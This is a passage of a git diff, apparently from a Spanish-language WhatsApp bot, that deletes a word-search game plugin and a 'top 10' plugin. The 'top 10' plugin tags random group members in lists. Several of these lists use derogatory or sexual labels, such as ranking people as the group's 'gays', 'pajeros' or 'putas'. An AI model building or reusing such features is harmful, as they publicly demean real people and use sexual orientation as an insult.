'PALAU', 'NAURU', 'TUVALU', 'SALOMON', 'TUVALU', 'SURINAM', 'GUYANA', 'PERU', 'BRAZIL', 'MEXICO', 'ARGENTINA', 'COLOMBIA', 'VENEZUELA', 'CHILE', 'ECUADOR', 'BOLIVIA', 'URUGUAY', 'PARAGUAY', 'COSTARICA', 'HONDURAS', 'NICARAGUA', 'PANAMA', 'GUATEMALA', 'ELSALVADOR',
-'MERCADO', 'EMPLEO', 'INFLACION', 'PRODUCTO', 'CONSUMO', 'IMPUESTO', 'MONEDA', 'BANCA', 'FISCALIDAD', 'CREDITO', 'FINANZAS', 'NEGOCIOS', 'COMERCIO', 'EXPORTACION', 'IMPORTACION', 'DEVALUACION', 'DEMANDA', 'OFERTA', 'RECESION', 'DEFLACION', 'INVERSION', 'CRECIMIENTO', 'DEUDA', 'DEFICIT', 'ESTIMULO', 'BOLSAMX', 'DIVISA', 'TARIFA', 'SUBSIDIO', 'EXCEDENTE', 'CICLO', 'FONDO', 'VALOR', 'GANANCIA', 'SALARIO', 'MONOPOLIO', 'OLIGOPOLIO', 'MERCADEO', 'COMERCIAL', 'BALANZA', 'PATRONAL', 'MERCANTIL', 'PROTECCION', 'MULTINACIONAL', 'ARANCEL', 'EMPRENDEDOR', 'CAPITALISMO', 'SOCIALISMO', 'GLOBAL', 'NEOLIBERAL', 'COOPERATIVA', 'MUNDO', 'ECONOMIA', 'COMPETENCIA', 'ESTADO', 'SOSTENIBLE', 'INNOVACION', 'INCENTIVO', 'MARKETING', 'INVERSION', 'FABRICANTE', 'MERCADOTECNIA', 'DISTRIBUCION', 'PRESTAMO', 'NEGOCIACION', 'SUPERAVIT', 'DEVALUAR', 'DEVALOR', 'CRISIS', 'EMPRENDER', 'VENTA', 'RENTA', 'UTILIDAD', 'BANCARIO', 'FINANCIAR', 'COTIZACION', 'REMESA', 'SEGURO', 'FIDUCIARIO', 'HACIENDA', 'COMISION', 'PRODUCCION', 'ECONOMISTA', 'COMPRAR', 'VENDEDOR', 'MONETARIO', 'DESCUENTO', 'CONTRABANDO', 'CATASTRO', 'SINDICALISMO', 'CUBRIR', 'CAPITAL', 'AHORRO', 'GASTO', 'BANQUERO', 'CAJA', 'EMPRESARIO', 'COMERCIAL', 'GASTOS', 'INGRESO', 'ECONOMETRIA', 'FUSION', 'COMPRAVENTA', 'REMATE', 'COMISIONISTA', 'SUBASTA', 'EQUILIBRIO', 'OFERTANTE', 'DEMANDANTE', 'EMPRESA', 'ETICA', 'CONTRATO', 'TASA', 'COSTO', 'INDUSTRIA', 'PROVEEDOR', 'PAGARE', 'CICLOPE', 'CONSUMIDOR', 'PRODUCCION', 'VENDER', 'DEVALUACION', 'ABARATAR', 'INSOLVENCIA', 'LIQUIDACION', 'AMORTIZACION', 'ACCIONISTA', 'INTERES', 'PRODUCTOR', 'PRECIOS', 'ESPECULACION', 'MATERIA', 'PRIMA', 'IMPORTADOR', 'EXPORTADOR', 'IMPORTE', 'EXPORTA', 'CONTABLE',
-'ESTADIO', 'MUNDIAL', 'GOLEADOR', 'TROPICAL', 'CANGURO', 'TIGRILLO', 'NEBULOSA', 'ANDROMEDA', 'SELVA', 'SATELITE', 'COLISEO', 'AMAZONAS', 'PUMA', 'CAMELLO', 'MAGALLANES', 'LUNA', 'COMETA', 'ORION', 'JUPITER', 'ARCOIRIS', 'ELEFANTE', 'CROACIA', 'TORRE', 'GALAXIA', 'BALON', 'ATLANTICO', 'CORDILLERA', 'CEBRA', 'TIGRE', 'ROCA', 'METEORITO', 'GATO', 'HIPODROMO', 'LEOPARDO', 'MARTE', 'VENUS', 'POLVO', 'BURJKHALIFA', 'TORREEIFFEL', 'TORREDEPISA', 'ABUDHABI', 'NAIROBI', 'PAISESBAJOS', 'ISRAEL', 'SINGAPUR', 'SUECIA', 'BRASIL', 'BALEARES', 'MONTANA', 'GLACIAR', 'RIO', 'LAGO', 'CAVERNA', 'LIMON', 'MANZANA', 'NARANJA', 'COCODRILO', 'RINOCERONTE', 'ESCARABAJO', 'PINGUINO', 'TUCAN', 'TORTUGA', 'CHIMPANCE', 'JIRAFA', 'KANGAROO', 'WALLABY', 'MURCIELAGO', 'SABANA', 'DUNA', 'GALLO', 'CONEJO', 'MARISCAL', 'ZAFIRO', 'RUBI', 'ESMERALDA', 'ASTEROIDE', 'ESTRELLA', 'PLANETA', 'COMPUTADORA', 'INTERNET', 'ROBOT', 'SATELITE', 'ALIENIGENA', 'NASA', 'SPACEX', 'ELONMUSK', 'NEPTUNO', 'URANO', 'MERCURIO', 'PLUTON', 'ESPACIAL', 'AGUJERONEGRO', 'CONSTELACION', 'VIOLONCHELO', 'GUITARRA', 'PIANO', 'CONCIERTO', 'COMPOSITOR', 'MUSICA', 'SONIDO', 'VOZ', 'FACEBOOK', 'INSTAGRAM', 'TWITTER', 'SPOTIFY', 'APPLEMUSIC', 'SOUNDCLOUD', 'DEEZER', 'TIDAL', 'PANDORA', 'NETFLIX', 'AMAZONPRIME', 'DISNEY', 'HBO', 'HULU', 'YOUTUBETV', 'ESPN', 'TWITCH', 'REDDIT', 'LINKEDIN', 'SNAPCHAT', 'TELEGRAM', 'SKYPE', 'ZOOM', 'TIKTOPDANCE', 'STORIES', 'TRENDS', 'FILTERS', 'VLOGS', 'PLAYLISTS', 'TAYLORSWIFT', 'ARIANAGRANDE', 'LADYGAGA', 'BILLIEEILISH', 'DUALIPA', 'HARRYSTYLES', 'POSTMALONE', 'JUSTINBIEBER', 'EDSHEERAN', 'SHAWNMENDES', 'LEWISCAPALDI', 'JONAS', 'KATYPERRY', 'RIHANNA', 'ADELE', 'LIZZO', 'CARDIB', 'MILEYCYRUS', 'SELENAGOMEZ', 'JENNIFERLOPEZ', 'DICAPRIO', 'TOMHANKS', 'ANGELINA', 'BRADPITT', 'MERYLSTREEP', 'NICOLEKIDMAN', 'EMMASTONE', 'JOHNTRAVOLTA', 'TOMCRUISE', 'JULIAROBERTS', 'CHRIS', 'SCARLETT', 'ROBERTDOWNEY', 'DWAYNE', 'JIMPARSONS', 'SOFIAVERGARA', 'HARINGTON', 'EMILIACLARKE', 'PETER', 'VIOLADAVIS', 'BRIELARSON', 'TOMHOLLAND', 'DAISYRIDLEY', 'JOHNBOYEGA', 'DAVIDHARBOUR', 'BOBBYBROWN', 'THEGODFATHER', 'GOODFELLAS', 'PULPFICTION', 'THESHINING', 'JAWS', 'STARWARS', 'HARRYPOTTER', 'LORDOFTHERINGS', 'THEMATRIX', 'FIGHTCLUB', 'FORRESTGUMP', 'THETERMINATOR', 'THELIONKING', 'FROZEN', 'COCO', 'TOYSTORY', 'AVENGERS', 'IRONMAN', 'BLACKPANTHER', 'SPIDERMAN', 'CAPTAINAMERICA', 'THOR', 'BATMAN', 'SUPERMAN', 'WONDERWOMAN', 'BREAKINGBAD', 'THECROWN', 'STRANGER', 'WALKINGDEAD', 'WESTWORLD', 'MANDALORIAN', 'TIGERKING', 'THEOFFICE']
-const PALABRA = PALABRAS[Math.floor(Math.random() * PALABRAS.length)]
-
-let filaInicial = Math.floor(Math.random() * LADO)
-let columnaInicial = Math.floor(Math.random() * LADO)
-const DIRECCIONES = ["horizontal", "vertical", "diagonalDerecha", "diagonalIzquierda"]
-const DIRECCION = DIRECCIONES[Math.floor(Math.random() * DIRECCIONES.length)]
-
-let palabraAgregada = false
-while (!palabraAgregada) {
-filaInicial = Math.floor(Math.random() * LADO)
-columnaInicial = Math.floor(Math.random() * LADO)
-
-// Algoritmo para garantizar la palabra
-let palabraEntra = true;
-for (let i = 0; i < PALABRA.length; i++) {
-if (DIRECCION === "horizontal" && (columnaInicial + i >= LADO)) {
-palabraEntra = false
-break;
-} else if (DIRECCION === "vertical" && (filaInicial + i >= LADO)) {
-palabraEntra = false
-break;
-} else if (DIRECCION === "diagonalDerecha" && (filaInicial + i >= LADO || columnaInicial + i >= LADO)) {
-palabraEntra = false
-break;
-} else if (DIRECCION === "diagonalIzquierda" && (filaInicial + i >= LADO || columnaInicial - i < 0)) {
-palabraEntra = false
-break;
-}
-}
-
-// Si la palabra entra, agregar a la sopa de letras
-if (palabraEntra) {
-for (let i = 0; i < PALABRA.length; i++) {
-if (DIRECCION === "horizontal") {
-sopaDeLetras[filaInicial][columnaInicial + i] = PALABRA.charAt(i)
-} else if (DIRECCION === "vertical") {
-sopaDeLetras[filaInicial + i][columnaInicial] = PALABRA.charAt(i)
-} else if (DIRECCION === "diagonalDerecha") {
-sopaDeLetras[filaInicial + i][columnaInicial + i] = PALABRA.charAt(i)
-} else {
-sopaDeLetras[filaInicial + i][columnaInicial - i] = PALABRA.charAt(i)
-}
-}
-palabraAgregada = true;
-}
-}
-
-// Diseño
-const LETRAS_POSIBLES = "ⒶⒷⒸⒹⒺⒻⒼⒽⒾⒿⓀⓁⓜⓃⓄⓅⓆⓇⓈⓉⓊⓋⓌⓍⓎⓏ"
-const numerosUni = ["⓿", "❶", "❷", "❸", "❹", "❺", "❻", "❼", "❽", "❾", "❿", "⓫", "⓬", "⓭", "⓮", "⓯", "⓰", "⓱", "⓲", "⓳", "⓴"]
-let sopaDeLetrasConBordes = ""
-sopaDeLetrasConBordes += " " + [...Array(LADO).keys()].map(num => numerosUni[num]).join(" ") + "\n"
-//sopaDeLetrasConBordes += " *╭" + "┄".repeat(LADO) + '┄┄' + "╮*\n"
-
-for (let i = 0; i < LADO; i++) {
-let fila = numerosUni[i] + " "
-
-for (let j = 0; j < LADO; j++) {
-if (sopaDeLetras[i][j]) {
-fila += sopaDeLetras[i][j] + " "
-} else {
-let letraAleatoria = LETRAS_POSIBLES.charAt(Math.floor(Math.random() * LETRAS_POSIBLES.length))
-fila += letraAleatoria + " "
-}
-}
-fila += ""
-sopaDeLetrasConBordes += fila + "\n"
-}
-//sopaDeLetrasConBordes += " *╰" + "┄".repeat(LADO) + '┄┄' + "╯*"
-sopaDeLetrasConBordes = sopaDeLetrasConBordes.replace(/[a-zA-Z]/g, letra => LETRAS_POSIBLES[letra.charCodeAt() - 65] || letra)
-
-await m.reply(`🔠 *SOPA DE LETRAS* 🔠
-*PALABRA:* \`\`\`"${PALABRA}"\`\`\`
-*TIENE 3 MINUTOS PARA ENCONTRAR LA RESPUESTA CORRECTA!!*
-
-*ESCRIBA EL NÚMERO DE FILA Y COLUMNA DEL COMIENZO DE LA PRIMERA LETRA _"${PALABRA.charAt(0)}"_ DE LA PALABRA _"${PALABRA}"_ TIENE _${intentos}_ INTENTOS!!*
-
-*EJEMPLO:*
-❇️ \`\`\`${usedPrefix + command} 28\`\`\`
-➡️ \`\`\`FILA 2\`\`\` ⬇️ \`\`\`COLUMNA 8\`\`\``.trim())
-await m.reply(`🔠 *${PALABRA.split("").join(" ")}* 🔠\n\n` + sopaDeLetrasConBordes.trimEnd())
-fila = filaInicial
-columna = columnaInicial
-sopaNube = sopaDeLetrasConBordes
-sopaPalabra = PALABRA
-sopaDir = DIRECCION.replace(/([A-Z])/g, ' $1').toLowerCase().replace(/^./, str => str.toUpperCase())
-}
-
-// Condiciones del juego
-cambioLetra = sopaDir
-let tagUser = userSP + '@s.whatsapp.net'
-if (userSP != m.sender.split("@")[0]) {
-await conn.reply(m.chat, `*@${tagUser.split("@")[0]} ESTA JUGANDO SOPA DE LETRAS 🔠 ACTUALEMENTE*`, m, { mentions: [tagUser] })
-return
-}
-if (intentos === 0) {
-intentos = 3
-generarSopaDeLetras()
-resetUserSP(sopaDir)
-
-async function resetUserSP() {
-await new Promise((resolve) => setTimeout(resolve, 2 * 60 * 1000)) // 2 min
-if (intentos !== 0) {
-await conn.reply(m.chat, `*@${m.sender.split("@")[0]} TE QUEDA UN MINUTO!!* 😨`, m, { mentions: [m.sender] })
-}
-await new Promise((resolve) => setTimeout(resolve, 3 * 60 * 1000)) // 3 min
-if (intentos !== 0) {
-await conn.reply( m.chat, `*@${m.sender.split("@")[0]} EL TIEMPO SE HA ACABADO!!* 😧\n\n*LA PALABRA _"${sopaPalabra}"_ SE ENCONTRABA EN LA DIRECCIÓN _${cambioLetra}_ DE LA FILA _${fila}_ Y COLUMNA _${columna}_*`, m, { mentions: [m.sender] })
-fila = null, columna = null, sopaNube = null, sopaPalabra = null, sopaDir = null, userSP = null, cambioLetra = null
-intentos = 0
-}
-}}else {
-if (`${fila}${columna}` == text) {
-if (sopaPalabra.length <= 4) {
-diamante = 4
-} else if (sopaPalabra.length <= 8) {
-diamante = 8
-} else if (sopaPalabra.length <= 11) {
-diamante = 24
-} else {
-diamante = 32
-}
-global.db.data.users[m.sender].limit += diamante
-
-await m.reply(`\`\`\`🎊 HAS GANADO ${diamante} ${rpgshop.emoticon('limit')}!!\`\`\`\n\n*CORRECTO!! LA PALABRA _"${sopaPalabra}"_ SE ENCONTRABA EN LA DIRECCIÓN _${cambioLetra}_ DE LA FILA _${fila}_ Y COLUMNA _${columna}_*`)
-fila = null, columna = null, sopaNube = null, sopaPalabra = null, sopaDir = null, userSP = null, cambioLetra = null
-intentos = 0
-}else{
-if (intentos === 1) {
-fila = null, columna = null, sopaNube = null, sopaPalabra = null, sopaDir = null, userSP = null, cambioLetra = null
-intentos = 0
-await m.reply(`🫡 *AGOTASTE LOS INTENTOS!! LA PALABRA _"${sopaPalabra}"_ SE ENCONTRABA EN LA DIRECCIÓN _${cambioLetra}_ DE LA FILA _${fila}_ Y COLUMNA _${columna}_*`)
-return
-} else {
-intentos -= 1
-await m.reply(`😮💨 *INCORRECTO. TE QUEDAN _${intentos}_ INTENTOS!!*${intentos === 1 ? '' : `\n*PALABRA A ENCONTRAR:* \`\`\`${sopaPalabra}\`\`\``}\n\n${intentos === 1 ? `\`\`\`💡 PISTA!!\`\`\`\n*LA PALABRA _${sopaPalabra}_ SE ENCUENTRA EN LA DIRECCIÓN _"${cambioLetra}"_*\n\n` : ''}${sopaNube}`)
-}}
-}}
-
-handler.command = /^(buscarpalabra|sopa|soup|wordsearch|wordfind|spdeletras|spletras|sppalabras|spalabras|spdepalabras)$/i
-export default handler
diff --git a/plugins/fun-tops.js b/plugins/fun-tops.js
deleted file mode 100644
index 17e5fa409..000000000
--- a/plugins/fun-tops.js
+++ /dev/null
@@ -1,409 +0,0 @@
-import util from 'util'
-import path from 'path'
-
-function handler(m, { groupMetadata, command, usedPrefix, conn }) {
- let user = a => '@' + a.split('@')[0] //'@' + a.split('@')[0]
-
-let ps = groupMetadata.participants.map(v => v.id)
-let a = ps.getRandom()
-let b = ps.getRandom()
-let c = ps.getRandom()
-let d = ps.getRandom()
-let e = ps.getRandom()
-let f = ps.getRandom()
-let g = ps.getRandom()
-let h = ps.getRandom()
-let i = ps.getRandom()
-let j = ps.getRandom()
-
-if (command == 'topgays') {
-let vn = './media/gay2.mp3'
-let top = `*🌈TOP 10 GAYS/LESBIANAS DEL GRUPO🌈*
-
-*_1.- 🏳️🌈 ${user(a)}_* 🏳️🌈
-*_2.- 🪂 ${user(b)}_* 🪂
-*_3.- 🪁 ${user(c)}_* 🪁
-*_4.- 🏳️🌈 ${user(d)}_* 🏳️🌈
-*_5.- 🪂 ${user(e)}_* 🪂
-*_6.- 🪁 ${user(f)}_* 🪁
-*_7.- 🏳️🌈 ${user(g)}_* 🏳️🌈
-*_8.- 🪂 ${user(h)}_* 🪂
-*_9.- 🪁 ${user(i)}_* 🪁
-*_10.- 🏳️🌈 ${user(j)}_* 🏳️🌈`
-m.reply(top, null, { mentions: conn.parseMention(top) })
-//m.reply(top, null, {
-
-//m.reply(conn.sendHydrated(m.chat, `*SON MUY GAYS!!* 🌈`, wm, null, md, '𝙂𝙖𝙩𝙖𝘽𝙤𝙩-𝙈𝘿', null, null, [
-//['𝙊𝙩𝙧𝙖 𝙫𝙚𝙯 | 𝘼𝙜𝙖𝙞𝙣 🔮', `${usedPrefix + command}`],
-//['𝙑𝙤𝙡𝙫𝙚𝙧 𝙖𝙡 𝙈𝙚𝙣𝙪́ | 𝘽𝙖𝙘𝙠 𝙩𝙤 𝙈𝙚𝙣𝙪 ☘️', '/menu']
-//], m))
-
-//contextInfo: {
-//mentionedJid: [a, b, c, d, e, f, g, h, i, j]
-//}})
-conn.sendFile(m.chat, vn, 'error.mp3', null, m, true, {
-type: 'audioMessage',
-ptt: true })}
-
-if (command == 'top') {
-if (!text) throw `Ejemplo de uso:\n.top *texto*`
-let ps = groupMetadata.participants.map(v => v.id)
-let a = ps.getRandom()
-let b = ps.getRandom()
-let c = ps.getRandom()
-let d = ps.getRandom()
-let e = ps.getRandom()
-let f = ps.getRandom()
-let g = ps.getRandom()
-let h = ps.getRandom()
-let i = ps.getRandom()
-let j = ps.getRandom()
-let k = Math.floor(Math.random() * 70);
-let x = `${pickRandom(['🤓','😅','😂','😳','😎', '🥵', '😱', '🤑', '🙄', '💩','🍑','🤨','🥴','🔥','👇🏻','😔', '👀','🌚'])}`
-let l = Math.floor(Math.random() * x.length);
-let vn = `https://hansxd.nasihosting.com/sound/sound${k}.mp3`
-let top = `*${x} Top 10 ${text} ${x}*
-
-*1. ${user(a)}*
-*2. ${user(b)}*
-*3. ${user(c)}*
-*4. ${user(d)}*
-*5. ${user(e)}*
-*6. ${user(f)}*
-*7. ${user(g)}*
-*8. ${user(h)}*
-*9. ${user(i)}*
-*10. ${user(j)}*`
-m.reply(top, null, { mentions: [a, b, c, d, e, f, g, h, i, j]})
-conn.sendFile(m.chat, vn, 'error.mp3', null, m, true, {
-type: 'audioMessage',
-ptt: true })}
-
-if (command == 'topotakus') {
-let vn = './media/otaku.mp3'
-let top = `*🌸 TOP 10 OTAKUS DEL GRUPO 🌸*
-
-*_1.- 💮 ${user(a)}_* 💮
-*_2.- 🌷 ${user(b)}_* 🌷
-*_3.- 💮 ${user(c)}_* 💮
-*_4.- 🌷 ${user(d)}_* 🌷
-*_5.- 💮 ${user(e)}_* 💮
-*_6.- 🌷 ${user(f)}_* 🌷
-*_7.- 💮 ${user(g)}_* 💮
-*_8.- 🌷 ${user(h)}_* 🌷
-*_9.- 💮 ${user(i)}_* 💮
-*_10.- 🌷 ${user(j)}_* 🌷`
-m.reply(top, null, { mentions: conn.parseMention(top) })
-//m.reply(top, null, {
-//conn.sendHydrated(m.chat, top, wm, null, md, '𝙂𝙖𝙩𝙖𝘽𝙤𝙩-𝙈𝘿', null, null, [
-//['𝙊𝙩𝙧𝙖 𝙫𝙚𝙯 | 𝘼𝙜𝙖𝙞𝙣 🔮', `${usedPrefix + command}`],
-//['𝙑𝙤𝙡𝙫𝙚𝙧 𝙖𝙡 𝙈𝙚𝙣𝙪́ | 𝘽𝙖𝙘𝙠 𝙩𝙤 𝙈𝙚𝙣𝙪 ☘️', '/menu']
-//], m, null, {
-//contextInfo: {
-//mentionedJid: [a, b, c, d, e, f, g, h, i, j]
-//}})
-conn.sendFile(m.chat, vn, 'otaku.mp3', null, m, true, {
-type: 'audioMessage',
-ptt: true
-})}
-
-if (command == 'topintegrantes') {
-let top = `*_💎TOP 10 L@S MEJORES INTEGRANTES👑_*
-
-*_1.- 💎 ${user(a)}_* 💎
-*_2.- 👑 ${user(b)}_* 👑
-*_3.- 💎 ${user(c)}_* 💎
-*_4.- 👑 ${user(d)}_* 👑
-*_5.- 💎 ${user(e)}_* 💎
-*_6.- 👑 ${user(f)}_* 👑
-*_7.- 💎 ${user(g)}_* 💎
-*_8.- 👑 ${user(h)}_* 👑
-*_9.- 💎 ${user(i)}_* 💎
-*_10.- 👑 ${user(j)}_* 👑`
-m.reply(top, null, { mentions: conn.parseMention(top) })}
-
-if (command == 'topintegrante') {
-let top = `*_💎TOP 10 L@S MEJORES INTEGRANTES👑_*
-
-*_1.- 💎 ${user(a)}_* 💎
-*_2.- 👑 ${user(b)}_* 👑
-*_3.- 💎 ${user(c)}_* 💎
-*_4.- 👑 ${user(d)}_* 👑
-*_5.- 💎 ${user(e)}_* 💎
-*_6.- 👑 ${user(f)}_* 👑
-*_7.- 💎 ${user(g)}_* 💎
-*_8.- 👑 ${user(h)}_* 👑
-*_9.- 💎 ${user(i)}_* 💎
-*_10.- 👑 ${user(j)}_* 👑`
-m.reply(top, null, { mentions: conn.parseMention(top) })}
-
-if (command == 'toplagrasa') {
-let top = `*_Uwu TOP 10 LA GRASA Uwu_*
-
-*_1.- Bv ${user(a)} Bv_*
-*_2.- :v ${user(b)} :v_*
-*_3.- :D ${user(c)} :D_*
-*_4.- Owo ${user(d)} Owo_*
-*_5.- U.u ${user(e)} U.u_*
-*_6.- >:v ${user(f)} >:v_*
-*_7.- :'v ${user(g)} :'v_*
-*_8.- ._. ${user(h)} ._._*
-*_9.- :V ${user(i)} :V_*
-*_10.- XD ${user(j)} XD_*`
-m.reply(top, null, { mentions: conn.parseMention(top) })}
-
-if (command == 'topgrasa') {
-let top = `*_Uwu TOP 10 LA GRASA Uwu_*
-
-*_1.- Bv ${user(a)} Bv_*
-*_2.- :v ${user(b)} :v_*
-*_3.- :D ${user(c)} :D_*
-*_4.- Owo ${user(d)} Owo_*
-*_5.- U.u ${user(e)} U.u_*
-*_6.- >:v ${user(f)} >:v_*
-*_7.- :'v ${user(g)} :'v_*
-*_8.- ._. ${user(h)} ._._*
-*_9.- :V ${user(i)} :V_*
-*_10.- XD ${user(j)} XD_*`
-m.reply(top, null, { mentions: conn.parseMention(top) })}
-
-if (command == 'toppanafrescos') {
-let top = `*_👊TOP 10 PANAFRESCOS👊_*
-
-*_1.- 🤑 ${user(a)}_* 🤑
-*_2.- 🤙 ${user(b)}_* 🤙
-*_3.- 😎 ${user(c)}_* 😎
-*_4.- 👌 ${user(d)}_* 👌
-*_5.- 🧐 ${user(e)}_* 🧐
-*_6.- 😃 ${user(f)}_* 😃
-*_7.- 😋 ${user(g)}_* 😋
-*_8.- 🤜 ${user(h)}_* 🤜
-*_9.- 💪 ${user(i)}_* 💪
-*_10.- 😉 ${user(j)}_* 😉`
-m.reply(top, null, { mentions: conn.parseMention(top) })}
-
-if (command == 'toppanafresco') {
-let top = `*_👊TOP 10 PANAFRESCOS👊_*
-
-*_1.- 🤑 ${user(a)}_* 🤑
-*_2.- 🤙 ${user(b)}_* 🤙
-*_3.- 😎 ${user(c)}_* 😎
-*_4.- 👌 ${user(d)}_* 👌
-*_5.- 🧐 ${user(e)}_* 🧐
-*_6.- 😃 ${user(f)}_* 😃
-*_7.- 😋 ${user(g)}_* 😋
-*_8.- 🤜 ${user(h)}_* 🤜
-*_9.- 💪 ${user(i)}_* 💪
-*_10.- 😉 ${user(j)}_* 😉`
-m.reply(top, null, { mentions: conn.parseMention(top) })}
-
-if (command == 'topshiposters') {
-let top = `*_😱TOP 10 SHIPOSTERS DEL GRUPO😱_*
-
-*_1.- 😈 ${user(a)}_* 😈
-*_2.- 🤙 ${user(b)}_* 🤙
-*_3.- 🥶 ${user(c)}_* 🥶
-*_4.- 🤑 ${user(d)}_* 🤑
-*_5.- 🥵 ${user(e)}_* 🥵
-*_6.- 🤝 ${user(f)}_* 🤝
-*_7.- 😟 ${user(g)}_* 😟
-*_8.- 😨 ${user(h)}_* 😨
-*_9.- 😇 ${user(i)}_* 😇
-*_10.- 🤠 ${user(j)}_* 🤠`
-m.reply(top, null, { mentions: conn.parseMention(top) })}
-
-if (command == 'topshipost') {
-let top = `*_😱TOP 10 SHIPOSTERS DEL GRUPO😱_*
-
-*_1.- 😈 ${user(a)}_* 😈
-*_2.- 🤙 ${user(b)}_* 🤙
-*_3.- 🥶 ${user(c)}_* 🥶
-*_4.- 🤑 ${user(d)}_* 🤑
-*_5.- 🥵 ${user(e)}_* 🥵
-*_6.- 🤝 ${user(f)}_* 🤝
-*_7.- 😟 ${user(g)}_* 😟
-*_8.- 😨 ${user(h)}_* 😨
-*_9.- 😇 ${user(i)}_* 😇
-*_10.- 🤠 ${user(j)}_* 🤠`
-m.reply(top, null, { mentions: conn.parseMention(top) })}
-
-if (command == 'toppajeros') {
-let top = `*_😏TOP L@S MAS PAJEROS/AS DEL GRUPO💦_*
-
-*_1.- 🥵 ${user(a)}_* 💦
-*_2.- 🥵 ${user(b)}_* 💦
-*_3.- 🥵 ${user(c)}_* 💦
-*_4.- 🥵 ${user(d)}_* 💦
-*_5.- 🥵 ${user(e)}_* 💦
-*_6.- 🥵 ${user(f)}_* 💦
-*_7.- 🥵 ${user(g)}_* 💦
-*_8.- 🥵 ${user(h)}_* 💦
-*_9.- 🥵 ${user(i)}_* 💦
-*_10.- 🥵 ${user(j)}_* 💦`
-m.reply(top, null, { mentions: conn.parseMention(top) })}
-
-if (command == 'toppajer@s') {
-let top = `*_😏TOP L@S MAS PAJEROS/AS DEL GRUPO💦_*
-
-*_1.- 🥵 ${user(a)}_* 💦
-*_2.- 🥵 ${user(b)}_* 💦
-*_3.- 🥵 ${user(c)}_* 💦
-*_4.- 🥵 ${user(d)}_* 💦
-*_5.- 🥵 ${user(e)}_* 💦
-*_6.- 🥵 ${user(f)}_* 💦
-*_7.- 🥵 ${user(g)}_* 💦
-*_8.- 🥵 ${user(h)}_* 💦
-*_9.- 🥵 ${user(i)}_* 💦
-*_10.- 🥵 ${user(j)}_* 💦`
-m.reply(top, null, { mentions: conn.parseMention(top) })}
-
-if (command == 'toplind@s') {
-let top = `*_😳TOP L@S MAS LIND@S Y SEXIS DEL GRUPO😳_*
-
-*_1.- ✨ ${user(a)}_* ✨
-*_2.- ✨ ${user(b)}_* ✨
-*_3.- ✨ ${user(c)}_* ✨
-*_4.- ✨ ${user(d)}_* ✨
-*_5.- ✨ ${user(e)}_* ✨
-*_6.- ✨ ${user(f)}_* ✨
-*_7.- ✨ ${user(g)}_* ✨
-*_8.- ✨ ${user(h)}_* ✨
-*_9.- ✨ ${user(i)}_* ✨
-*_10.- ✨ ${user(j)}_* ✨`
-m.reply(top, null, { mentions: conn.parseMention(top) })}
-
-if (command == 'toplindos') {
-let top = `*_😳TOP L@S MAS LIND@S Y SEXIS DEL GRUPO😳_*
-
-*_1.- ✨ ${user(a)}_* ✨
-*_2.- ✨ ${user(b)}_* ✨
-*_3.- ✨ ${user(c)}_* ✨
-*_4.- ✨ ${user(d)}_* ✨
-*_5.- ✨ ${user(e)}_* ✨
-*_6.- ✨ ${user(f)}_* ✨
-*_7.- ✨ ${user(g)}_* ✨
-*_8.- ✨ ${user(h)}_* ✨
-*_9.- ✨ ${user(i)}_* ✨
-*_10.- ✨ ${user(j)}_* ✨`
-m.reply(top, null, { mentions: conn.parseMention(top) })}
-
-if (command == 'topputos') {
-let top = `*_😏TOP L@S MAS PUT@S DEL GRUPO SON🔥_*
-
-*_1.- 👉 ${user(a)}_* 👌
-*_2.- 👉 ${user(b)}_* 👌
-*_3.- 👉 ${user(c)}_* 👌
-*_4.- 👉 ${user(d)}_* 👌
-*_5.- 👉 ${user(e)}_* 👌
-*_6.- 👉 ${user(f)}_* 👌
-*_7.- 👉 ${user(g)}_* 👌
-*_8.- 👉 ${user(h)}_* 👌
-*_9.- 👉 ${user(i)}_* 👌
-*_10.- 👉 ${user(j)}_* 👌`
-m.reply(top, null, { mentions: conn.parseMention(top) })}
-
-if (command == 'topput@s') {
-let top = `*_😏TOP L@S MAS PUT@S DEL GRUPO SON🔥_*
-
-*_1.- 👉 ${user(a)}_* 👌
-*_2.- 👉 ${user(b)}_* 👌
-*_3.- 👉 ${user(c)}_* 👌
-*_4.- 👉 ${user(d)}_* 👌
-*_5.- 👉 ${user(e)}_* 👌
-*_6.- 👉 ${user(f)}_* 👌
-*_7.- 👉 ${user(g)}_* 👌
-*_8.- 👉 ${user(h)}_* 👌
-*_9.- 👉 ${user(i)}_* 👌
-*_10.- 👉 ${user(j)}_* 👌`
-m.reply(top, null, { mentions: conn.parseMention(top) })}
-
-if (command == 'topfamosos') {
-let top = `*_🌟TOP PERSONAS FAMOSAS EN EL GRUPO🌟_*
-
-*_1.- 🛫 ${user(a)}_* 🛫
-*_2.- 🥂 ${user(b)}_* 🥂
-*_3.- 🤩 ${user(c)}_* 🤩
-*_4.- 🛫 ${user(d)}_* 🛫
-*_5.- 🥂 ${user(e)}_* 🥂
-*_6.- 🤩 ${user(f)}_* 🤩
-*_7.- 🛫 ${user(g)}_* 🛫
-*_8.- 🥂 ${user(h)}_* 🥂
-*_9.- 🤩 ${user(i)}_* 🤩
-*_10.- 🛫 ${user(j)}_* 🛫`
-m.reply(top, null, { mentions: conn.parseMention(top) })}
-
-if (command == 'topfamos@s') {
-let top = `*_🌟TOP PERSONAS FAMOSAS EN EL GRUPO🌟_*
-
-*_1.- 🛫 ${user(a)}_* 🛫
-*_2.- 🥂 ${user(b)}_* 🥂
-*_3.- 🤩 ${user(c)}_* 🤩
-*_4.- 🛫 ${user(d)}_* 🛫
-*_5.- 🥂 ${user(e)}_* 🥂
-*_6.- 🤩 ${user(f)}_* 🤩
-*_7.- 🛫 ${user(g)}_* 🛫
-*_8.- 🥂 ${user(h)}_* 🥂
-*_9.- 🤩 ${user(i)}_* 🤩
-*_10.- 🛫 ${user(j)}_* 🛫`
-m.reply(top, null, { mentions: conn.parseMention(top) })}
-
-if (command == 'topsostero') {
-let top = `*_😏TOP PERSONAS SOLTERO/A DEL GRUPO😏_*
-
-*_1.- 😎 ${user(a)}_* 😎
-*_2.- 😏 ${user(b)}_* 😏
-*_3.- 😏 ${user(c)}_* 😏
-*_4.- 😎 ${user(d)}_* 😎
-*_5.- 😏 ${user(e)}_* 😏
-*_6.- 😎 ${user(f)}_* 😎
-*_7.- 😏 ${user(g)}_* 😏
-*_8.- 😎 ${user(h)}_* 😎
-*_9.- 😎 ${user(i)}_* 😎
-*_10.- 😏 ${user(j)}_* 😏`
-m.reply(top, null, { mentions: conn.parseMention(top) })}
-
-if (command == 'topparejas') {
-let top = `*_😍 Las 5 maravillosas parejas del grupo 😍_*
-
-*_1.- ${user(a)} 💘 ${user(b)}_*
